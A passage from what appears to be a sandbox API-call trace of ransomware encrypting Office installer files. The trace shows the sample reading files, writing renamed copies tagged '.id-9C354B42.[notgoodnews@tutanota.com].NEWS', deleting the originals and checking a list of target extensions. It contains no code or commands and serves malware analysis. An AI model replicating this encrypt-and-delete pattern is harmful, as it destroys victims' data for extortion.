GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0047.455] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0047.455] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0047.455] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.455] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.455] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.456] GetLastError () returned 0x0 [0047.456] ReadFile (in: hFile=0x1fc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x545, lpOverlapped=0x0) returned 1 [0048.393] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x550, lpOverlapped=0x0) returned 1 [0049.211] ReadFile (in: hFile=0x1fc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.211] WriteFile (in: hFile=0x1ec, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xee, lpOverlapped=0x0) returned 1 [0049.211] SetEndOfFile (hFile=0x1ec) returned 1 [0049.211] CloseHandle (hObject=0x1ec) returned 1 [0049.394] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.394] SetEndOfFile (hFile=0x1fc) returned 1 [0049.638] CloseHandle (hObject=0x1fc) returned 1 [0049.638] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0049.638] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0049.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.639] lstrlenW (lpString=".doc") returned 4 [0049.639] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.639] lstrlenW (lpString=".docx") returned 5 [0049.639] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0049.639] lstrlenW (lpString=".pdf") returned 4 [0049.639] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.639] lstrlenW (lpString=".xls") returned 4 [0049.639] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.639] lstrlenW (lpString=".xlsx") returned 5 [0049.639] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0049.639] lstrlenW (lpString=".ppt") returned 4 [0049.639] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.639] lstrlenW (lpString=".zip") returned 4 [0049.639] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.639] lstrlenW (lpString=".rar") returned 4 [0049.639] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.639] lstrlenW (lpString=".bz2") returned 4 [0049.639] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.640] lstrlenW (lpString=".7z") returned 3 [0049.640] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.640] lstrlenW (lpString=".dbf") returned 4 [0049.640] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.640] lstrlenW (lpString=".1cd") returned 4 [0049.640] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.640] lstrlenW (lpString=".jpg") returned 4 [0049.640] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.640] lstrlenW (lpString=".doc") returned 4 [0049.640] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.640] lstrlenW (lpString=".docx") returned 5 [0049.640] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0049.640] lstrlenW (lpString=".pdf") returned 4 [0049.640] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.640] lstrlenW (lpString=".xls") returned 4 [0049.640] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.640] lstrlenW (lpString=".xlsx") returned 5 [0049.641] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0049.641] lstrlenW (lpString=".ppt") returned 4 [0049.641] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.641] lstrlenW (lpString=".zip") returned 4 [0049.641] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.641] lstrlenW (lpString=".rar") returned 4 [0049.641] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.641] lstrlenW (lpString=".bz2") returned 4 [0049.641] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.641] lstrlenW (lpString=".7z") returned 3 [0049.641] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.641] lstrlenW (lpString=".dbf") returned 4 [0049.641] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.641] lstrlenW (lpString=".1cd") returned 4 [0049.641] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0049.641] lstrlenW (lpString=".jpg") returned 4 [0049.641] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.642] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0049.642] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0049.642] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0049.750] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=16852) returned 1 [0049.763] CloseHandle (hObject=0x1c0) returned 1 [0049.764] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0049.780] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0049.790] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.791] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.791] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.791] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.791] GetLastError () returned 0x0 [0049.791] ReadFile (in: hFile=0x1fc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0049.826] WriteFile (in: hFile=0x1e8, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0049.828] ReadFile (in: hFile=0x1fc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.828] WriteFile (in: hFile=0x1e8, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0049.829] SetEndOfFile (hFile=0x1e8) returned 1 [0049.829] CloseHandle (hObject=0x1e8) returned 1 [0049.831] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.831] SetEndOfFile (hFile=0x1fc) returned 1 [0049.833] CloseHandle (hObject=0x1fc) returned 1 [0049.833] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0049.834] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0049.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.834] lstrlenW (lpString=".doc") returned 4 [0049.834] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.834] lstrlenW (lpString=".docx") returned 5 [0049.834] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0049.834] lstrlenW (lpString=".pdf") returned 4 [0049.834] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.834] lstrlenW (lpString=".xls") returned 4 [0049.834] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.835] lstrlenW (lpString=".xlsx") returned 5 [0049.835] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0049.835] lstrlenW (lpString=".ppt") returned 4 [0049.835] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.835] lstrlenW (lpString=".zip") returned 4 [0049.835] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.835] lstrlenW (lpString=".rar") returned 4 [0049.835] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.835] lstrlenW (lpString=".bz2") returned 4 [0049.835] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.835] lstrlenW (lpString=".7z") returned 3 [0049.835] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.835] lstrlenW (lpString=".dbf") returned 4 [0049.835] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.835] lstrlenW (lpString=".1cd") returned 4 [0049.835] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.836] lstrlenW (lpString=".jpg") returned 4 [0049.836] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.836] lstrlenW (lpString=".doc") returned 4 [0049.836] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.836] lstrlenW (lpString=".docx") returned 5 [0049.836] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0049.836] lstrlenW (lpString=".pdf") returned 4 [0049.836] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.836] lstrlenW (lpString=".xls") returned 4 [0049.836] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.836] lstrlenW (lpString=".xlsx") returned 5 [0049.836] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0049.836] lstrlenW (lpString=".ppt") returned 4 [0049.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.837] lstrlenW (lpString=".zip") returned 4 [0049.837] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.837] lstrlenW (lpString=".rar") returned 4 [0049.837] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.837] lstrlenW (lpString=".bz2") returned 4 [0049.837] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.837] lstrlenW (lpString=".7z") returned 3 [0049.837] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.837] lstrlenW (lpString=".dbf") returned 4 [0049.837] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.837] lstrlenW (lpString=".1cd") returned 4 [0049.837] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0049.837] lstrlenW (lpString=".jpg") returned 4 [0049.837] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.838] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0049.838] lstrlenW (lpString="Setup.xml") returned 9 [0049.838] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.061] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=16683) returned 1 [0050.061] CloseHandle (hObject=0x204) returned 1 [0050.061] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0050.062] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.062] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.062] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.062] GetLastError () returned 0x0 [0050.062] ReadFile (in: hFile=0x204, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x412b, lpOverlapped=0x0) returned 1 [0050.066] WriteFile (in: hFile=0x208, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0050.068] ReadFile (in: hFile=0x204, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.068] WriteFile (in: hFile=0x208, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.068] SetEndOfFile (hFile=0x208) returned 1 [0050.068] CloseHandle (hObject=0x208) returned 1 [0050.069] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.069] SetEndOfFile (hFile=0x204) returned 1 [0050.071] CloseHandle (hObject=0x204) returned 1 [0050.071] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0050.071] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0050.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.072] lstrlenW (lpString=".doc") returned 4 [0050.072] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.072] lstrlenW (lpString=".docx") returned 5 [0050.072] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0050.072] lstrlenW (lpString=".pdf") returned 4 [0050.072] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.072] lstrlenW (lpString=".xls") returned 4 [0050.072] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.072] lstrlenW (lpString=".xlsx") returned 5 [0050.072] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0050.072] lstrlenW (lpString=".ppt") returned 4 [0050.072] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.072] lstrlenW (lpString=".zip") returned 4 [0050.072] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.072] lstrlenW (lpString=".rar") returned 4 [0050.072] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.072] lstrlenW (lpString=".bz2") returned 4 [0050.072] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.072] lstrlenW (lpString=".7z") returned 3 [0050.072] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.073] lstrlenW (lpString=".dbf") returned 4 [0050.073] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.073] lstrlenW (lpString=".1cd") returned 4 [0050.073] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.073] lstrlenW (lpString=".jpg") returned 4 [0050.073] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.073] lstrlenW (lpString=".doc") returned 4 [0050.073] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.073] lstrlenW (lpString=".docx") returned 5 [0050.073] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0050.073] lstrlenW (lpString=".pdf") returned 4 [0050.073] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.073] lstrlenW (lpString=".xls") returned 4 [0050.073] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.073] lstrlenW (lpString=".xlsx") returned 5 [0050.073] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0050.073] lstrlenW (lpString=".ppt") returned 4 [0050.073] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.074] lstrlenW (lpString=".zip") returned 4 [0050.074] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.074] lstrlenW (lpString=".rar") returned 4 [0050.074] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.074] lstrlenW (lpString=".bz2") returned 4 [0050.074] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.074] lstrlenW (lpString=".7z") returned 3 [0050.074] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.074] lstrlenW (lpString=".dbf") returned 4 [0050.074] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.074] lstrlenW (lpString=".1cd") returned 4 [0050.074] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.074] lstrlenW 